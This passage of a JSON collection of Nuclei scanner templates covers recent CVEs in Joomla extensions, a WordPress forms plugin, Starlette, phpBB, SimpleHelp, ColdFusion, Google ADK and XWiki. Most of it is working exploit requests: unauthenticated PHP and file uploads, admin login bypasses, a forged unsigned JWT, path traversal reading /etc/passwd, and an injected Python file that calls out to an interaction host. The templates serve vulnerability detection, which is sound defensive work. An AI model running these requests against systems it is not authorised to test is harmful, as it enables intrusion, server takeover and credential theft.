name=\"jform[attachment]\"; filename=\"{{marker}}.txt\"\n        Content-Type: text/plain\n\n        CVE-2026-48939-FILE-UPLOAD-CONFIRMED\n        ------iCagendaBoundary48939--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 || status_code == 303'\n        internal: true\n\n  - raw:\n      - |\n        GET /images/icagenda/frontend/attachments/{{marker}}.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"CVE-2026-48939-FILE-UPLOAD-CONFIRMED\")'\n        condition: and\n# digest: 4b0a00483046022100cf9d06f9edef02b30e7979155702d38e073ca92c273329cd9ed960e884d0d5c4022100d1d23de9775b500829ae71d008913c3869b60d5ef4295b99eea60363597bcd4f:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-48939.yaml","vuln_id":"cve-2026-48939"},{"raw":"id: CVE-2026-48907\ninfo:\n  name: Joomla! JCE extension < 2.9.99.5 unauthenticated RCE\n  author: ywh-jfellus\n  severity: critical\n  description: |\n    Joomla JCE editor extension contains an unrestricted file upload vulnerability caused by allowing unauthenticated users to create new editor profiles, letting attackers upload and execute PHP code remotely, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can upload and execute arbitrary PHP code, leading to full remote code execution on the server.\n  remediation: |\n    Update to the latest version of the JCE editor extension.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-48907\n    - https://github.com/advisories/GHSA-c3f5-4g7f-qjqj\n    - https://www.joomlacontenteditor.net/support/changelog/editor\n    - https://github.com/ywh-jfellus/CVE-2026-48907\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 10.0\n    cve-id: CVE-2026-48907\n    epss-score: 0.85439\n    epss-percentile: 0.99721\n    cwe-id: CWE-284\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: joomlacontenteditor\n    product: jce\n    shodan-query: http.component:\"Joomla\"\n    fofa-query: app=\"Joomla\"\n  tags: cve,cve2026,joomla,jce,rce,unauth,intrusive,unauth,vkev,kev\n\nvariables:\n  payload: \"<?= 45*69 ?>\"\n  tmp_file: \"{{'nuclei-' + md5(Hostname + 'phuJ4OoP')}}.xml.php\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - 'contains(body, \"Joomla\")'\n          - 'contains(body, \"csrf.token\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: csrf_token\n        part: body\n        group: 1\n        internal: true\n        regex:\n          - '\"csrf\\.token\"\\s*:\\s*\"([a-f0-9]{32})\"'\n\n  - raw:\n      - |\n        POST /index.php?option=com_jce HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=66dea244639dd05378afdad58c2c9c1d\n\n        --66dea244639dd05378afdad58c2c9c1d\n        Content-Disposition: form-data; name=\"task\"\n\n        profiles.import\n        --66dea244639dd05378afdad58c2c9c1d\n        Content-Disposition: form-data; name=\"{{csrf_token}}\"\n\n        1\n        --66dea244639dd05378afdad58c2c9c1d\n        Content-Disposition: form-data; name=\"profile_file\"; filename=\"{{tmp_file}}\"\n        Content-Type: application/xml\n\n        {{payload}}\n        --66dea244639dd05378afdad58c2c9c1d--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - 'contains(body, \"success\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /tmp/{{tmp_file}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"3105\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402202304d3b821d8dd324a28be1460bdd1488309c272cd7d9a285b98eec5c6a5168002205a5dd258e68a3d915103e9196436eab44dde78e6775a8c934eb1ce28be3c860c:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-48907.yaml","vuln_id":"cve-2026-48907"},{"raw":"id: CVE-2026-4883\n\ninfo:\n  name: Piotnet Forms Pro <= 2.1.40 - Unauthenticated Arbitrary File Upload RCE\n  author: 0x_Akoko,xShadow-Here\n  severity: critical\n  description: |\n    Piotnet Forms WordPress plugin <= 2.1.40 contains an unrestricted file upload vulnerability caused by incomplete file extension blacklist in 'piotnetforms_ajax_form_builder', letting unauthenticated attackers upload arbitrary files, exploit requires a file field in the form.\n  impact: |\n    Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.\n  remediation: |\n    Update to the latest version of Piotnet Forms plugin.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-4883\n    - https://github.com/xShadow-Here/CVE-2026-4883\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-4883\n    epss-score: 0.03063\n    epss-percentile: 0.87649\n    cwe-id: CWE-434\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: piotnetforms\n    product: piotnetforms-pro\n    shodan-query: http.html:\"piotnetforms\"\n    fofa-query: body=\"piotnetforms\"\n  tags: cve,cve2026,wordpress,piotnetforms,fileupload,rce,wp-plugin,intrusive,vkev\n\nflow: |\n  http(1);\n  http(2);\n  let raw = String(template[\"upload_path\"] || \"\");\n  let f = String(template[\"fname\"] || \"\");\n  let parts = raw.replace(\"[\", \"\").replace(\"]\", \"\").split(/[\\s,]+/);\n  let chosen = \"\";\n  for (let i = 0; i < parts.length; i++) {\n    if (parts[i] && parts[i].indexOf(\"/\" + f + \"-\") !== -1) {\n      chosen = parts[i];\n    }\n  }\n  if (chosen !== \"\") {\n    set(\"upload_path\", chosen);\n    http(3);\n  }\n\nvariables:\n  fname: \"{{to_lower(rand_base(5))}}\"\n\nhttp:\n  - raw:\n      - |\n        @timeout: 40s\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPF\n        X-Requested-With: XMLHttpRequest\n        Referer: {{BaseURL}}/\n        Connection: close\n\n        ------WebKitFormBoundaryPF\n        Content-Disposition: form-data; name=\"action\"\n\n        piotnetforms_ajax_form_builder\n        ------WebKitFormBoundaryPF\n        Content-Disposition: form-data; name=\"post_id\"\n\n        1\n        ------WebKitFormBoundaryPF\n        Content-Disposition: form-data; name=\"form_id\"\n\n        piotnetforms\n        ------WebKitFormBoundaryPF\n        Content-Disposition: form-data; name=\"fields\"\n\n        [{\"name\":\"upload_field\",\"value\":\"\",\"file_name\":[\"{{fname}}.txt\"],\"attach-files\":0,\"type\":\"file\",\"image_upload\":false,\"label\":\"\",\"repeater_id\":\"\",\"repeater_index\":0,\"repeater_label\":\"\"}]\n        ------WebKitFormBoundaryPF\n        Content-Disposition: form-data; name=\"referrer\"\n\n        {{BaseURL}}/\n        ------WebKitFormBoundaryPF\n        Content-Disposition: form-data; name=\"remote_ip\"\n\n        127.0.0.1\n        ------WebKitFormBoundaryPF\n        Content-Disposition: form-data; name=\"upload_field[]\"; filename=\"{{fname}}.txt\"\n        Content-Type: text/plain\n\n        {{fname}}\n\n        ------WebKitFormBoundaryPF--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"\\\"status\\\":1\")'\n        internal: true\n\n  - raw:\n      - |\n        @timeout: 30s\n        GET /wp-admin/admin-ajax.php?action=piotnetforms_export_form_submission HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n        Connection: close\n\n    extractors:\n      - type: regex\n        name: upload_path\n        internal: true\n        group: 1\n        part: body\n        regex:\n          - '(/wp-content/uploads/piotnetforms/files/[a-z0-9]{5}-[0-9a-f]{13}\\.txt)'\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"/wp-content/uploads/piotnetforms/files/{{fname}}-\")'\n        internal: true\n\n  - raw:\n      - |\n        GET {{upload_path}} HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n        Connection: close\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"{{fname}}\")'\n        condition: and\n# digest: 4a0a004730450221008e516a94937acdf840ce2f51c5302f5c16c3df027ab7b26bee9c47318976db23022009a5a24e23e2f98dc9c92c52d30a4ef39c1a3f55825a3744bcf60a9c957e6b19:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-4883.yaml","vuln_id":"cve-2026-4883"},{"raw":"id: CVE-2026-48710\n\ninfo:\n  name: Starlette - Improper Validation of Unsafe Equivalence in Input\n  author: ritikchaddha\n  severity: critical\n  description: |\n    A flaw was found in Starlette, a lightweight ASGI (Asynchronous Server Gateway Interface) framework. A remote attacker could exploit this vulnerability by sending a specially crafted HTTP Host request header. This malformed header could cause the request.url to be incorrectly reconstructed, leading to a discrepancy with the actual requested path. Consequently, security restrictions enforced by middleware and endpoints that rely on request.url for validation could be bypassed, potentially allowing unauthorized access or actions.\n  impact: |\n    A remote attacker can exploit this vulnerability by sending a specially crafted HTTP Host header in a request to a Starlette-based application. Due to improper validation of the Host header, security restrictions that rely on request.url for enforcement may be bypassed. This allows attackers to gain unauthorized access to endpoints protected by middleware or path-based checks, potentially leading to privilege escalation, information disclosure, or unauthorized actions.\n  remediation: |\n    Upgrade Starlette to >= 1.0.1 to address this vulnerability.If immediate patching is not possible, implement strict Host header validation in a reverse proxy or web server (such as nginx or Apache) to only allow expected Host values, mitigating the risk of URL-based restriction bypass.\n  reference:\n    - https://github.com/Kludex/starlette/security/advisories/GHSA-86qp-5c8j-p5mr\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-48710\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N\n    cvss-score: 6.5\n    cve-id: CVE-2026-48710\n    epss-score: 0.70288\n    epss-percentile: 0.99385\n    cwe-id: CWE-1289\n  metadata:\n    max-request: 2\n    vendor: Kludex\n    product: starlette\n    shodan-query: http.html:\"starlette\"\n    fofa-query: body=\"starlette\"\n  tags: cve,cve2026,starlette,auth-bypass,badhost,vkev,kev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /mcp-rest/test/connection HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"transport\":\"stdio\",\"command\":\"echo\",\"args\":[\"test\"]}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 401'\n          - 'contains_any(body, \"auth_error\", \"Authentication Error\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /mcp-rest/test/connection HTTP/1.1\n        Host: a/?x=\n        Content-Type: application/json\n        Content-Length: 54\n\n        {\"transport\":\"stdio\",\"command\":\"echo\",\"args\":[\"test\"]}\n\n    unsafe: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - \"Failed to connect to MCP server\"\n          - \"status\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a004830460221009ae77afa316277639a60204508944faba5c923425e71ec2ef70cb346c5f05f65022100a256274c7567265a0672114b5746a6996aadbef1d4c110e0831239eedcca947a:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-48710.yaml","vuln_id":"cve-2026-48710"},{"raw":"id: CVE-2026-48611\n\ninfo:\n  name: phpBB < 3.3.17 - Authentication Bypass\n  author: aikido,DhiyaneshDk\n  severity: critical\n  description: |\n    phpBB before 3.3.17 contains an authentication bypass vulnerability in the login-link feature. By setting the auth_provider query parameter to \"apache\", an unauthenticated attacker can bypass password verification and log in as any user, including administrators. The Apache auth provider trusts the Basic authentication header username without password verification, as it assumes Apache handles authentication upstream.\n  impact: |\n    An unauthenticated attacker can log in as any user including administrators, gaining full control over the phpBB forum, leading to data theft, defacement, and complete forum takeover.\n  remediation: |\n    Upgrade phpBB to version 3.3.17 or later.\n  reference:\n    - https://www.aikido.dev/blog/authentication-bypass-phpbb-technical-writeup\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-48611\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-48611\n    epss-score: 0.0386\n    epss-percentile: 0.90202\n    cwe-id: CWE-287\n    cpe: cpe:2.3:a:phpbb:phpbb:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: phpbb\n    product: phpbb\n    shodan-query: http.component:\"phpBB\"\n    fofa-query: app=\"phpBB\"\n  tags: cve,cve2026,phpbb,auth-bypass,vuln,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1 HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Authorization: Basic YWRtaW46eA==\n\n        login_username=admin&login_password=x&login=Login\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: set_cookie\n        words:\n          - \"phpbb_sid\"\n          - \"phpbb\"\n        condition: and\n\n      - type: status\n        status:\n          - 302\n# digest: 4b0a004830460221009bee40ecb674832e0e0e37591cca4b478eac68d6ded8d61c62066f7fed2db9b1022100eae4f202b257efde3b21c26d6b0f6e29409f65b7add0a601b097a586549e201b:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-48611.yaml","vuln_id":"cve-2026-48611"},{"raw":"id: CVE-2026-48558\n\ninfo:\n  name: SimpleHelp <=5.5.15 - OIDC JWT Authentication Bypass\n  author: 0x_Akoko,pdteam\n  severity: critical\n  description: |\n    SimpleHelp <= 5.5.15 and 6.0 pre-release contain an authentication bypass caused by lack of cryptographic signature verification in OIDC tokens, letting remote unauthenticated attackers gain technician sessions, exploit requires OIDC authentication configured.\n  impact: |\n    Remote attackers can bypass authentication and multi-factor authentication to gain full technician access.\n  remediation: |\n    Update to a version later than 5.5.15 or the final 6.0 release.\n  reference:\n    - https://horizon3.ai/attack-research/disclosures/cve-2026-48558-simplehelp-authentication-bypass-iocs/\n    - https://simple-help.com/security/simplehelp-security-update-2026-05\n    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/simplehelp_oidc_auth_bypass_rce.rb\n    - https://github.com/J4ck3LSyN-Gen2/CVE-2026-48558\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-48558\n    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-48558\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10.0\n    cve-id: CVE-2026-48558\n    cwe-id: CWE-347\n    epss-score: 0.80786\n    epss-percentile: 0.99629\n  metadata:\n    verified: true\n    max-request: 5\n    vendor: simple-help\n    product: simplehelp\n    shodan-query: html:\"SimpleHelp\"\n    fofa-query: body=\"SimpleHelp\"\n  tags: cve,cve2026,simplehelp,auth-bypass,oidc,jwt,kev,vkev,intrusive,vuln\n\nflow: |\n  (function () {\n    if (!http(1)) { return; }\n    var minor = parseInt(template[\"sh_minor\"] || \"99\");\n    if (isNaN(minor) || minor > 15) { return; }\n\n    http(2);\n    var providers_raw = template[\"providers_raw\"];\n    if (!providers_raw) { return; }\n\n    var providers;\n    try {\n      providers = JSON.parse(providers_raw);\n    } catch (e) { return; }\n    if (!providers || !providers[0]) { return; }\n\n    var provider = null;\n    for (var i = 0; i < providers.length; i++) {\n      if (providers[i][\"type\"] === \"oidc\" || providers[i][\"type\"] === \"azure\") {\n        provider = providers[i];\n        break;\n      }\n    }\n    if (!provider) { return; }\n\n    var root = (template[\"http_1_host\"] || \"\").replace(/\\/+$/, \"\");\n    if (!root) { return; }\n    provider[\"callback\"] = root + \"/webapps/technician/\";\n    set(\"oidc_payload_enc\", encodeURIComponent(JSON.stringify(provider)));\n\n    http(3);\n    var auth_url_str = template[\"auth_url_raw\"] || \"\";\n    var auth_url;\n    try {\n      auth_url = JSON.parse(auth_url_str);\n    } catch (e) {\n      auth_url = auth_url_str.replace(/^\"/, \"\").replace(/\"$/, \"\").trim();\n    }\n    if (!auth_url) { return; }\n\n    var state_m = auth_url.match(/[?&]state=([^&\\s\"'<>]+)/);\n    if (!state_m) { return; }\n\n    var nonce_m = auth_url.match(/[?&]nonce=([^&\\s\"'<>]+)/);\n    var nonce = nonce_m ? nonce_m[1] : \"\";\n\n    function b64url(s) {\n      var CHARS = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_\";\n      var bytes = [];\n      for (var c = 0; c < s.length; c++) { bytes.push(s.charCodeAt(c) & 0xFF); }\n      var out = \"\";\n      var j = 0;\n      while (j < bytes.length) {\n        var b0 = bytes[j++];\n        var b1 = (j < bytes.length) ? bytes[j++] : -1;\n        var b2 = (j < bytes.length) ? bytes[j++] : -1;\n        out += CHARS[b0 >> 2];\n        out += CHARS[((b0 & 3) << 4) | (b1 < 0 ? 0 : (b1 >> 4))];\n        if (b1 >= 0) { out += CHARS[((b1 & 15) << 2) | (b2 < 0 ? 0 : (b2 >> 6))]; }\n        if (b2 >= 0) { out += CHARS[b2 & 63]; }\n      }\n      return out;\n    }\n\n    var now = Math.floor(new Date().getTime() / 1000);\n    var jwt_header  = {\"alg\":\"none\",\"typ\":\"JWT\"};\n    var jwt_payload = {\n      \"sub\":                \"probe-cve-2026-48558\",\n      \"preferred_username\": \"probe-check\",\n      \"name\":               \"ProbeCheck\",\n      \"email\":              \"probe-check@probetest.invalid\",\n      \"iat\":                now,\n      \"exp\":                now + 3600\n    };\n    if (nonce) { jwt_payload[\"nonce\"] = nonce; }\n\n    var forged_jwt = b64url(JSON.stringify(jwt_header)) + \".\" +\n                     b64url(JSON.stringify(jwt_payload)) + \".x\";\n\n    set(\"oidc_post_body\",\n        \"state=\" + encodeURIComponent(state_m[1]) +\n        \"&id_token=\" + encodeURIComponent(forged_jwt));\n\n    http(4);\n\n    http(5);\n  })();\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/allversions\"\n\n    cookie-reuse: true\n\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"Visual Version:\\\\s+5\\\\.5\\\\.(\\\\d+)\"\n        internal: true\n\n    extractors:\n      - type: regex\n        name: sh_minor\n        part: body\n        group: 1\n        regex:\n          - \"Visual Version:\\\\s+5\\\\.5\\\\.(\\\\d+)\"\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/auth/v1/account/login_options\"\n\n    cookie-reuse: true\n\n    matchers:\n      - type: status\n        status:\n          - 200\n        internal: true\n\n    extractors:\n      - type: dsl\n        name: providers_raw\n        dsl:\n          - \"body\"\n        internal: true\n\n  - raw:\n      - |\n        GET /auth/v1/account/oidc_get?payload={{oidc_payload_enc}} HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json, */*\n\n    cookie-reuse: true\n\n    matchers:\n      - type: status\n        status:\n          - 200\n        internal: true\n\n    extractors:\n      - type: dsl\n        name: auth_url_raw\n        dsl:\n          - \"body\"\n        internal: true\n\n  - raw:\n      - |\n        POST /oidc HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        {{oidc_post_body}}\n\n    cookie-reuse: true\n    redirects: false\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200 || status_code == 302\"\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/auth/v1/account/status\"\n\n    cookie-reuse: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"FULLY_AUTHENTICATED\")'\n          - 'contains(body, \"\\\"code\\\":1\") || contains(body, \"\\\"code\\\": 1\")'\n        condition: and\n\n    extractors:\n      - type: dsl\n        dsl:\n          - 'username + \" | \" + email'\n\n      - type: json\n        part: body\n        json:\n          - \".user.username\"\n        name: username\n        internal: true\n\n      - type: json\n        part: body\n        json:\n          - \".user.emailAddress\"\n        name: email\n# digest: 4a0a00473045022011e0ddbbcf11570b3085c5bb7c1e2977fd9b27bb34b8436ffd0b073acabbcfd1022100f076174c457f01962580d78bd3b82d037993e2aedfc7a43c6e3b87e3b03d4b59:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-48558.yaml","vuln_id":"cve-2026-48558"},{"raw":"id: CVE-2026-48313\n\ninfo:\n  name: ColdFusion - Path Traversal\n  author: watchtowr,DhiyaneshDk\n  severity: high\n  description: |\n    ColdFusion versions 2025.9, 2023.20 and earlier are affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could lead to arbitrary file system read and limited write access. An attacker could exploit this vulnerability to access sensitive files and directories outside the intended access scope. Exploitation of this issue does not require user interaction. Scope is changed.\n  impact: |\n    Attackers can read sensitive files and write limited files outside intended directories, risking data exposure and modification.\n  remediation: |\n    Update to the latest version beyond 2025.9 or 2023.20.\n  reference:\n    - https://labs.watchtowr.com/its-37oc-and-all-we-can-think-about-is-coldfusion-adobe-coldfusion-security-bulletin-apsb26-68-cve-bonanza/\n  metadata:\n    verified: true\n    max-request: 2\n    fofa-query: app=\"Adobe-ColdFusion\"\n  tags: cve,cve2026,lfi,adobe,coldfusion,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /CFIDE/main/ide.cfm?ACTION=FILEIO HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/octet-stream\n\n        2:{{len}}:{{path}}000004:READ\n\n    payloads:\n      path:\n        - 'C:\\Windows\\win.ini'\n        - '/etc/passwd'\n      len:\n        - '000018'\n        - '000011'\n\n    attack: pitchfork\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '[fonts]'\n          - 'root:x:0:0:'\n        condition: or\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402200e76425afcb44662d7537e7c716f97abfe2a06954cadc8824938bbb52e30defd0220442c28f72298cbd81ae5ab35be62c6aa615b9193c447039812d1d82a5cdd21b3:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-48313.yaml","vuln_id":"cve-2026-48313"},{"raw":"id: CVE-2026-48282\n\ninfo:\n  name: Adobe ColdFusion - RDS Arbitrary File Write\n  author: watchtowr,DhiyaneshDk\n  severity: critical\n  description: |\n    ColdFusion versions 2025.9, 2023.20 and earlier are affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could lead to arbitrary code execution in the context of the current user. The RDS FILEIO WRITE operation allows unauthenticated attackers to write arbitrary files when RDS is enabled with authentication disabled. Exploitation of this issue does not require user interaction. Scope is changed.\n  impact: |\n    An attacker can write arbitrary files to the server filesystem, leading to remote code execution by writing CFML webshells to the web root.\n  remediation: |\n    Update to ColdFusion 2025 Update 10 or ColdFusion 2023 Update 21 or later.\n  reference:\n    - https://helpx.adobe.com/security/products/coldfusion/apsb26-68.html\n    - https://labs.watchtowr.com/its-37oc-and-all-we-can-think-about-is-coldfusion-adobe-coldfusion-security-bulletin-apsb26-68-cve-bonanza/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10.0\n    cve-id: CVE-2026-48282\n    epss-score: 0.42388\n    epss-percentile: 0.98707\n    cwe-id: CWE-22\n  metadata:\n    verified: true\n  tags: cve,cve2026,rce,file-upload,adobe,coldfusion,rds,intrusive,kev,vkev\n\nvariables:\n  randfile: \"{{to_lower(rand_text_alpha(8))}}\"\n\nflow: |\n  http(\"write\") && http(\"verify\")\n\nhttp:\n  - id: write\n    raw:\n      - |\n        POST /CFIDE/main/ide.cfm?ACTION=FILEIO HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/octet-stream\n\n        4:{{pathlen}}:{{dirpath}}{{randfile}}.txt000005:WRITE000001:0000008:{{randfile}}\n\n    payloads:\n      dirpath:\n        - '/opt/coldfusion/cfusion/wwwroot/CFIDE/'\n        - 'C:\\ColdFusion2025\\cfusion\\wwwroot\\CFIDE\\'\n        - 'C:\\ColdFusion2023\\cfusion\\wwwroot\\CFIDE\\'\n\n      pathlen:\n        - '000050'\n        - '000052'\n        - '000052'\n\n    attack: pitchfork\n    stop-at-first-match: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"1:2:\")'\n        condition: and\n        internal: true\n\n  - id: verify\n    raw:\n      - |\n        GET /CFIDE/{{randfile}}.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '{{randfile}}'\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a004730450220307130daf8ac9d9a0c24ac69a421150fb7f65a287c8dd2433aea8d4bb503c63c022100d9e8f6c8417b0ba2274119a440b39beea6b7b5a688542e79198d6146ef3593c5:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-48282.yaml","vuln_id":"cve-2026-48282"},{"raw":"id: CVE-2026-4810\n\ninfo:\n  name: Google ADK-Python - Unauthenticated Builder Endpoint\n  author: dwisiswant0\n  severity: critical\n  description: |\n    Google Agent Development Kit (ADK) 1.7.0 through 1.28.1 and 2.0.0a1 through 2.0.0a2 on Python (OSS), Cloud Run, and GKE contains a code injection and missing authentication vulnerability, letting unauthenticated remote attackers execute arbitrary code on the server, exploit requires no authentication.\n  impact: |\n    Unauthenticated remote attackers can execute arbitrary code on the server, leading to full system compromise.\n  remediation: |\n    Upgrade to versions 1.28.1 and 2.0.0a2 or later and redeploy to production and local environments.\n  reference:\n    - https://github.com/google/adk-python/blob/main/CHANGELOG.md\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/U:Amber\n    cvss-score: 9.3\n    cve-id: CVE-2026-4810\n    epss-score: 0.01818\n    epss-percentile: 0.7878\n    cwe-id: CWE-306,CWE-94\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: google\n    product: adk-python\n    shodan-query: title:\"ADK\" http.component:\"uvicorn\"\n    fofa-query: body=\"ADK\" && header=\"uvicorn\"\n  tags: cve,cve2026,adk,google,rce,unauth,code-injection\n\nvariables:\n  multipart_boundary: \"{{md5(date_time('2006-01-02T15:04:05Z07:00'))}}\"\n  agent_name: \"{{rand_text_alpha(1)}}{{rand_text_alpha(7)}}\"\n  rand_instruction: \"{{rand_base(12)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /builder/save HTTP/1.1\n        Host: {{Hostname}}\n        Accept-Encoding: gzip, deflate, zstd\n        Accept: */*\n        Connection: keep-alive\n        Content-Type: multipart/form-data; boundary={{multipart_boundary}}\n\n        --{{multipart_boundary}}\n        Content-Disposition: form-data; name=\"files\"; filename=\"{{agent_name}}/agent.py\"\n        Content-Type: text/x-python\n\n        import requests\n        response = requests.get(\"http://{{interactsh-url}}\")\n        print(response.text)\n        from google.adk.agents import Agent\n        root_agent = Agent(name=\"{{agent_name}}\", model=\"gemini-2.0-flash\", instruction=\"{{rand_instruction}}\")\n\n        --{{multipart_boundary}}--\n\n      - |\n        GET /list-apps?detailed=true HTTP/1.1\n        Host: {{Hostname}}\n        Connection: close\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code_1 == 200 && body_1 == \"true\"\n          - status_code_2 == 200 && contains(body_2, concat(\"\\\"\", agent_name, \"\\\"\"))\n        condition: and\n\n      - type: word\n        part: interactsh_protocol\n        words:\n          - dns\n# digest: 490a0046304402203c0c683776959a8728bb2ca7a3cb720bfc5b0692ac84abbec37c12730929e5d50220040f55e25c03d674d1a674ec37acce2ad9b189e231a04c4e4ee25fedca716fc4:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-4810.yaml","vuln_id":"cve-2026-4810"},{"raw":"id: CVE-2026-48048\n\ninfo:\n  name: XWiki Platform - Password Hash Disclosure\n  author: ritikchaddha\n  severity: high\n  description: |\n    XWiki Platform is a generic wiki platform. The patch for GHSA-5cf8-vrr8-8hjm / CVE-2023-26476 was insufficient. Starting with version 6.2.1 and prior to 16.10.17, 17.4.9, 17.10.13, and 18.0.0RC1, slightly modified LiveTableResults parameters (for example password_class) still allow an unauthenticated attacker to discover password hashes one bit at a time. With about 768 requests, the full password salt and hash of a user can be retrieved. The check for password and email properties does not consider the class passed via the _class parameters.\n  impact: |\n    Unauthenticated attackers can reconstruct user password salts and hashes from LiveTableResults\n    responses, enabling offline credential cracking.\n  remediation: |\n    Upgrade XWiki to 16.10.17, 17.4.9, 17.10.13, 18.0.0RC1, or later. As a workaround, apply the\n    patch manually to the wiki page XWiki.LiveTableResultsMacros.\n  reference:\n    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-rh28-mqj4-8x59\n    - https://jira.xwiki.org/browse/XWIKI-23875\n    - https://github.com/xwiki/xwiki-platform/commit/c4442716b02ffcdaa9d5e703b1db6203e36456fa\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-48048\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-48048\n    epss-score: 0.02008\n    epss-percentile: 0.80894\n    cwe-id: CWE-359\n    cpe: 